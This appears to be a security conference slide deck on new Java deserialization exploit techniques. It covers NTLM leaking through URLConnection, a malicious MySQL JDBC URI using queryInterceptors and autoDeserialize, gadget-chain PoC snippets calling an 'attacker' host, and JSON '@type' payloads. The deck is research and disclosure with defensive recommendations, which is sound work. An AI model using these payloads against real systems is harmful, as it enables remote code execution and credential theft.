New Exploit Technique In Java Deserialization Attack

- Yang Zhang
- Yongtao Wang
- Keyi Li
- Kunzhe Chai
New Exploit Technique In Java Deserialization Attack

Back2Zero Team

BCM Social Group
Who are we?

Yang Zhang (Lucas)
• Founder of Back2Zero Team & Leader of Security Research Department in BCM Social Corp.
• Focus on Application Security, Cloud Security, Penetration Testing.
• Spoke at various security conferences such as CanSecWest, POC, ZeroNights.

Keyi Li (Kevin)
• Master degree majoring in Cyber Security at Syracuse University.
• Co-founder of Back2Zero team and core member of n0tr00t security team.
• Internationally renowned security conference speaker.
Who are we?

Yongtao Wang
• Co-founder of PegasusTeam and Leader of Red Team in BCM Social Corp.
• Specializes in penetration testing and wireless security.
• Blackhat, Codeblue, POC, Kcon, etc. Conference speaker.

Kunzhe Chai(Anthony)
• Founder of PegasusTeam and Chief Information Security Officer in BCM Social Corp.
• Author of the well-known security tool MDK4.
• Maker of China’s first Wireless Security Defense Product Standard and he also is the world’s first inventor of Fake Base Stations defense technology
Agenda

• Introduction to Java Deserialization
• Well-Known Defense Solutions
• Critical vulnerabilities in Java
  • URLConnection
  • JDBC
• New exploit for Java Deserialization
• Takeaways
2015: Chris Frohoff and Gabriel Lawrence presented their research into Java object deserialization vulnerabilities ultimately resulting in what can be readily described as the **biggest wave** of RCE bugs in Java history.
Introduction to Java Deserialization
Java Deserialization

Serialization
- The process of converting a Java object into stream of bytes.

Deserialization
- A reverse process of creating a Java object from stream of bytes.

Used for?
- Remote method invocation.
- Transfer the object to remote system via network.
- Store the object in database or local files for reusing.
Attack scenario

1. A remote service accept untrusted data for deserializing.
2. The classpath of the application includes serializable class.
3. Dangerous function in the callback of serializable class.

Magic Callback

Magic methods will be invoked automatically during the deserialization process.

- readObject()
- readExternal()
- readResolve()
- readObjectNoData()
- validateObject()
- finalize()
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    OutputStream output = this.getOutputStream();
    if (this.cachedContent != null) {
        output.write(this.cachedContent);
    } else {
        FileInputStream input = new FileInputStream(this.dfosFile);
        IOUtils.copy(input, output);
        this.dfosFile.delete();
        this.dfosFile = null;
    }
    output.close();
    this.cachedContent = null;
}

Vulnerable Class

public class DiskFileItem extends Serializable
Well-Known Defense Solutions
Well-Known Defense Solution

Look-Ahead Check
A look-ahead stage to validate input stream during the deserialization process to secure application. If the class in the blacklist is found during the deserialization process, the deserialization process will be terminated.

- SerialKiller
- Jackson
- Weblogic

Untrusted Data → readObject → resolveClass → ServerChannelInputStream → isBlacklistedLegacy

WebLogic Look-Ahead Check

Blacklist

Package Name
Class Name
Class Name
Class Name

……...
Well-Known Defense Solution

JEP290 (Filter Incoming Serialization Data)

- Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.
- Define a global filter that can be configured by properties or a configuration file.
- The filter interface methods are called during the deserialization process to validate the classes being deserialized. The filter returns a status to accept, reject, or leave the status undecided.allowed or disallowed.

```java
# Serialization process-wide filter

# A filter, if configured, is used by java.io.ObjectInputStream during deserialization to check the contents of the stream.
# A filter is configured as a sequence of patterns, each pattern is either
# matched against the name of a class in the stream or defines a limit.
# Patterns are separated by ';'. (existent
# Whitespace is significant and is considered part of the pattern.

# If the pattern ends with '.*' it matches any class in the package and all subpackages.
# If the pattern ends with '.*' it matches any class in the package.
# If the pattern ends with '.*', matches any class with the pattern as a prefix.
# If the pattern is equal to the class name, it matches.
# Otherwise, the status is UNDECIDED.

# jdk.serialFilter=pattern;pattern
jdk.serialFilter=!sun.rmi.server.**;
jdk.serialFilter=!org.codehaus.groovy.runtime.**;
jdk.serialFilter=org.apache.commons.beanutils.BeanComparator
jdk.serialFilter=!org.codehaus.groovy.runtime.MethodClosure
```

jre/lib/security/java.security
Well-Known Defense Solution

Runtime Application Self-protection (RASP)

RASP is a security technology that is built or linked into an application or application runtime environment, and is capable of controlling application execution and detecting and preventing real-time attacks.

Java-Agent

- A software component that provide instrumentation capabilities to an application.
- Does not need to build lists of patterns (blacklists) to match against the payloads, since they provide protection by design.
- Most of policies of RASP only focus on insecure deserialization attacks that try to execute commands and using input data that has been provided by the network request.
Flaws in Defense Solutions
Flaws in Defense Solutions

• The quality of defense solution often depends on the blacklist.
  • If we find a new gadget, that means we can bypass lots of blacklists.

• Security researchers like to find the gadget which will eventually invoke common-dangerous functions, such as Processbuider.exec().
• Defense solutions only focus on these common-dangerous functions.
  • If we find a new fundamental vector in Java, that means we can find many new gadgets and bypass most of Java deserialization defense solutions.

Our goal
• New vector in Java.
  • Remote Command Execution.
  • Fundamental Class.
Critical vulnerabilities in Java
#URLConnection
URLConnection

- It contains many methods that let you communicate with the URL.
- The superclass of all classes that represent a communications link between the application and URL.
- Most of Java native functions or applications will use URLConnection to send HTTP request.

By calling JNI function, URLConnection will eventually invoke a Windows API initsecuritycontext, which is a function to get local Windows credentials.
The default behavior of Java will not judge the validity of the URL, but always return true.

static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback{

    DefaultNTLMAuthenticationCallback() {

        public boolean isTrustedSite(URL var1) {
            return true;
        }
    }
}
NTLM Reflection Attack
CVE-2019-1040
NTLM Authentication

• Network authentication for Remote Services
• Challenge-Response authentication mechanism
• Supported by the NTLM Security Support Provider on Windows
• NTLMv1/ NTLMv2/ NTLM2 Session
• HTTP, SMB, LDAP, MSSQL, etc.

Timeline

MS08-068
  • Patch for SMB->SMB Reflection Attack
  • Can not stop Attacker from relaying the Net-NTLM Hash to another machine or Perform Cross-Protocol Reflection attack.

MS16-075
  • Patch for HTTP->SMB Reflection Attack(HotPotato)
NTLM Authentication

Flags in Type 2 Message

- Contained in a bit field within the header.
- Most of these flags will make more sense late.

<table>
<thead>
<tr>
<th>Flag</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000001</td>
<td>Negotiate Unicode</td>
<td>Indicates that Unicode strings are supported for use in security buffer data.</td>
</tr>
<tr>
<td>0x00000002</td>
<td>Negotiate OEM</td>
<td>Indicates that OEM strings are supported for use in security buffer data.</td>
</tr>
<tr>
<td>0x00000004</td>
<td>Request Target</td>
<td>Requests that the server’s authentication realm be included in the Type 2 message.</td>
</tr>
<tr>
<td>0x00000010</td>
<td>Negotiate Sign</td>
<td>Specifies that authenticated communication between the client and server should carry a digital signature (message integrity).</td>
</tr>
</tbody>
</table>

Structure of Type 2 Message

<table>
<thead>
<tr>
<th>Description</th>
<th>Content</th>
</tr>
</thead>
<tbody>
<tr>
<td>Signature</td>
<td>Null-terminated ASCII &quot;NTLMSSP&quot;</td>
</tr>
<tr>
<td>Message Type</td>
<td>long (0x02000000)</td>
</tr>
<tr>
<td>Target Name</td>
<td>the name of the authentication target</td>
</tr>
<tr>
<td>Flags</td>
<td>long</td>
</tr>
<tr>
<td>Challenge</td>
<td>8 bytes information about the authentication target</td>
</tr>
<tr>
<td>Context</td>
<td>8 bytes</td>
</tr>
<tr>
<td>Target Information</td>
<td>security buffer</td>
</tr>
<tr>
<td>Version</td>
<td>8 bytes</td>
</tr>
</tbody>
</table>
NTLM Authentication

Negotiate Local Call
The server sets this flag to inform the client that the server and client are on the same machine

Drop the MIC
• The MIC protects the NTLM negotiation from tampering.
• Remove special negotiation flags to bypass the MIC check.
  • NTLMSSP_NEGOTIATE_ALWAYS_SIGN
  • NTLMSSP_NEGOTIATE_SIGN
  • NEGOTIATE_KEY_EXCHANGE
• If we have ability to bypass the MIC, that means we can tamper any stages of NTLM negotiation.
Critical vulnerabilities in Java

#JDBC
Java DataBase Connectivity

What is JDBC?
• Part of the Java Standard Edition platform.
• API for Java, which defines how a client may access a database.

Why use JDBC?
• Making a connection to a database.
• Execute queries and update statements to the database.
• Retrieve the result received from the database.

```java
public static void main(String[] args) throws Exception{
    String DB_URL = "jdbc:mysql://127.0.0.1:3306/sectest?var=value";
    Driver driver = new com.mysql.jdbc.Driver();

    //Make a database connection
    Connection conn = driver.connect(DB_URL, props);
    Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,....);
}
```
Java Database Connectivity

Connector/J Database URL
```
jdbc:driver://[host][,failoverhost...][:port]/[database][:?propertyName1]=propertyValue1[&propertyName2]=propertyValue2]...
```

Parameters
- Configuration properties define how Connector/J will make a connection to a MySQL server.
- `propertyName=propertyValue` represents an optional, ampersand-separated list of properties.
- These attributes enable you to instruct MySQL Connector/J to perform various tasks.

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>loadDataLocal</td>
<td>Server asked for stream in response to LOAD DATA LOCAL INFILE</td>
</tr>
<tr>
<td>requireSSL</td>
<td>Require server support of SSL connection if useSSL=true</td>
</tr>
<tr>
<td>socksProxyHost</td>
<td>Name or IP address of SOCKS host to connect through</td>
</tr>
<tr>
<td>useAsyncProtocol</td>
<td>Use asynchronous variant of X Protocol</td>
</tr>
<tr>
<td>useServerPrepStmts</td>
<td>Use server-side prepared statements if the server supports them</td>
</tr>
<tr>
<td>allowUrlInLoadLocal</td>
<td>Should the driver allow URLs in 'LOAD DATA LOCAL INFILE' statements</td>
</tr>
</tbody>
</table>
Java DataBase Connectivity

Vulnerable parameter: autoDeserialize

- Should the driver automatically detect and deserialize objects stored in BLOB fields?
- Need to invoke getObject function first.

```java
public Object getObject(int columnIndex) throws SQLException {
    ......
    case BLOB:
        if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
            Object obj = data;
            // Serialized object?
            try {
                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                obj = objIn.readObject();
            }
            
```
Java DataBase Connectivity

Vulnerable parameter:
queryInterceptors
  • A comma-delimited list of classes that implement "QueryInterceptor" that should be placed "in between" query execution to influence the results.

```java
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
  while (rs.next()) {
    mappedValues.put(rs.getObject(1), rs.getObject(2));
  }
}
```
Java DataBase Connectivity

Vulnerable parameter
• queryInterceptors to invoke getObject
• autoDeserialze to allow deserialize data from server

Steps to exploit JDBC
1. Attacker set up a database service.
2. Attacker poison the JDBC URI
3. Victim make a JDBC connection to attacker.
4. Return payload to Victim.

jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialze=true
Attack Scenarios

- Phishing
- Attack cloud service
- Bypass SSRF Defense
- Anti-Attack
- New gadget for Java deserialization
Java DataBase Connectivity
New exploit for Java Deserialization
Combine 3 vulnerabilities and lead to RCE

1. Trigger a HTTP Request by exploiting Deserialization vulnerability.
New exploit for Java Deserialization

- Deserialization vulnerability
- New Vectors
  1. URLConnection
     - NTLM Leaking (CVE-2019-2426)
  2. JDBC
     - Mysql Driver RCE
     - NTLM Leaking vulnerability in JDBC Driver
Find new gadgets in 1 hour
New gadget for Java Deserialization

org/apache/commons/jxpath

deserialization vulnerability:

```
javax.management.BadAttributeValueExpException.readObject(Ljava/io/ObjectInputStream;)V (1)
1.  org/apache/commons/jxpath/ri/model/NodePointer.toString()Ljava/lang/String; (0)
2.  org/apache/commons/jxpath/ri/model/NodePointer.asPath()Ljava/lang/String; (0)
3.  org/apache/commons/jxpath/ri/model/container/ContainerPointer.isCollection()Z (0)
4.  org/apache/commons/jxpath/util/ValueUtils.isCollection(Ljava/lang/Object;)Z (0)
5.  org/apache/commons/jxpath/util/ValueUtils.getValue(Ljava/lang/Object;)Ljava/lang/Object; (0)
6.  org/apache/commons/jxpath/xml/DocumentContainer.getValue()Ljava/lang/Object; (0)
7.  java/net/URL.openStream()Ljava/io/InputStream; (0)
```

```
public class apacheCommonsJxpathPoc {
    public static void main(String[] args) throws Exception{
        Container DocumentContainerObj = Reflections.createWithoutConstructor(DocumentContainer.class);
        Reflections.setFieldValue(DocumentContainerObj, "xmlURL", new URL("http://attacker"));
        ..........
        ObjectSerialize(BadAttributeValueExpExceptionObject);
    }
}
```
New gadget for Java Deserialization

clojure/lang/ASeq

clojure/lang/Aseq.hashCode()I (0)
1. clojure/lang/Iterate.first(Ljava/lang/Object;)Ljava/lang/Object; (0)
2. clojure/core/partition_all$fn__7037$fn__7038.invoke(Ljava/lang/Object;)Ljava/lang/Object; (1)
3. clojure/java/io$fn__9524.invoke(Ljava/lang/Object;)Ljava/lang/Object; (1)
4. clojure/java/io$fn__9524.invokeStatic(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; (0)
5. java/net/URL.openStream()Ljava/io/InputStream; (0)

public class clojurePoc {
    public static void main(String args[]){
        try{
            java.net.URL url = new java.net.URL("http://attacker/");
            Object evilFn = new core$partition_all$fn__7037$fn__7038(fnArry,111L,new io$fn__9524());
            Object url1 = new URL("http://127.0.0.1:8081/com");
            ......
            return Gadgets.makeMap(model, null);
        }catch(InterruptedException e){
            throw new RuntimeException(e);
        }
    }
}
New gadget for Java Deserialization

```java
public class oagHtlmparserPoc {
    public static void main (String args[])throws Exception{
        Page p = new Page();
        p.setBaseUrl("http://attacker");
        objectSerialize(p);
    }
}
```

org/htmlparser

org/htmlparser/lexer/Page.readObject(Ljava/io/ObjectInputStream;)V (1)
1. java/net/URL.openConnection()Ljava/net/URLConnection; (0)
JSON Attack

org.apache.commons.configuration

strict digraph {
1. "org.apache.commons.configuration.ConfigurationFactory:getConfiguration()"
2. "java.net.URL:openStream" [bgcolor=red];
}

{"@type":"org.apache.commons.configuration.ConfigurationFactory",
"ConfigurationURL":
  "http://attacker"}
JSON Attack

ch.qos.logback.core

strict digraph {
1. "ch.qos.logback.core.db.DriverManagerConnectionSource:getConnection()"
2. "java.sql.DriverManager:getConnection" [bgcolor=red];
}

{"@type":"ch.qos.logback.core.db.DriverManagerConnectionSource",
 "url":
 "jdbc:mysql://attacker?
 queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&PNAME_autoDeserialize=true"
 "};
Takeaways

• New Attack Vectors
  • URLConnection (CVE-2019-2426)
  • New attack surface of JDBC

• New Technology for NTLM Reflection Attack
  • CVE-2019-1040

• New Gadgets for Java Deserialization Attack and Json Attack
Recommendations

• **DevOps**
  • Do not deserialize untrusted data.
  • Do not send HTTP request to a untrusted Server (If the client on windows).
  • Do not connect to an untrusted database by JDBC.
  • Encrypt the serialized bytecode.

• **Security Researcher**
  • Careful audit Security Policy when using Blacklist. Try to use Whitelist to mitigate risk.
  • Fuzz your applications with these two vectors.
  • Static analysis can easily find JDBC vulnerabilities.
Thanks for your attention!

Back2Zero Team